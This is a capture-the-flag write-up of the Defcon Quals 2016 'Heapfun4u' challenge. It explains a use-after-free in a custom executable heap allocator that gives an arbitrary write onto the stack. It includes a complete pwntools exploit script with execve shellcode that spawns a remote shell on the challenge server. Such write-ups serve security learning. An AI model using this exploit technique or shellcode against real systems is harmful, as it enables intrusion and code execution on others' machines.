Tower of Hanoi

Defcon Quals 2016 - Heapfun4u

by on under DefconQuals2016
5 minute read ·

This challenge is a memory manager that implements a custom “heap”, allocated using mmap, with the permissions bitmap set to rwx.

We have a main menu in which we can perform the following operations:

  • [A]llocate Buffer: “malloc” of an arbitrary size.
  • [F]ree Buffer: “free” the chunk we select. Also list all the chunks and the respective addresses.
  • [W]rite Buffer: let us write in the data part of the specified chunk.
  • [N]ice guy: print an address of a variable of the stack.
  • [E]xit: quit the program.

All chunks’ pointers are saved in a global array (so there is a limit to their number, but the check on that is well made), but when you free a chunk, the pointer is not deleted from the array, so we can still write on it.

Inspecting the memory with qira, we saw that when we free a chunk with another allocate chunk after that, a pointer is saved at the end of the freed area. That address point to what we think is the “top chunk size”, so where the next “malloc” will allocate the next chunk.

We tried to edit it writing on a freed chunk, and we managed to change the allocation point of the next chunk inside another chunk previously declared (inside that chunk data we put a “valid” top chunk size).

So we have something like an arbitrary write, an executable “heap” and a stack address (and no canary to worry about). Out first thought is to overwrite the saved return address of the main on the stack, forcing the program to jump on a shellcode on the executable heap.

At first we tried just writing stuff on the stack, but it didn’t work. Then marcof noticed that maybe not only the top chunk size pointer that we can overwrite need to point to a valid top chunk size, but after the malloc, the nex top chunk size should maybe be on a previous memory area with all zeroes. With qira we found the addresses on the stack of a valid top chunk size and a length for the malloc that allowed us to make the chunk stop on an area with zeroes.That suddenly worked, so we proceded to write the exploit in python using the pwntools.

 
#!/usr/bin/python

from pwn import *

r = remote("heapfun4u_873c6d81dd688c9057d5b229cf80579e.quals.shallweplayaga.me",3957)

#r  = remote("localhost",4000)

def allocate(size):
    r.sendline("A")
    r.recvuntil("Size: ")
    r.sendline(str(size))
    r.recvuntil("| ")



def free(index):
    r.sendline("F")
    r.recvuntil("Index: ")
    r.sendline(str(index))
    r.recvuntil("| ")

def write(index, what):
    r.sendline("W")
    r.recvuntil("Write where: ")
    r.sendline(str(index))
    r.recvuntil("Write what: ")
    r.sendline(what)
    r.recvuntil("| ")

def nice():
    r.sendline("N")
    r.recvuntil("Here you go: ")
    leak = r.recvuntil("[A]")
    leak = leak[:-4]
    r.recvuntil("| ")
    return int(leak,16)

def esci():
        r.sendline("E")

def setAddress(addr):
    write(1,p64(addr))

def allocate_(size,payload):
    r.sendline("A"+payload)
    r.recvuntil("Size: ")
    r.sendline(str(size))
    r.recvuntil("| ")

   

allocate(16)
allocate(100)
allocate(100)
free(1)
stack = nice()
print "Stack leak -> " + hex(nice())
payload = p64(nice())+"\x00"*7
write(1,payload)
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
write(3,shellcode)

context.log_level = 'DEBUG'
setAddress(nice()+28)
allocate_(384,"A"*7+p64(0x190)) #sarebbe 180 ma abbondo

r.sendline("W")
r.recvuntil("3) ");
heap_addr = r.recvuntil("4) ");
heap_addr = heap_addr[:-11];
print heap_addr
r.recvuntil("Write where: ")
r.sendline("4")
r.recvuntil("Write what: ")
r.sendline("A"*280+p64(int(heap_addr,16))+"C"*95)
r.recvuntil("| ")
esci()
r.interactive()

~ giosch

Defcon Quals, Exploitable, heap, shellcode, use-after-free, 2016
comments powered by Disqus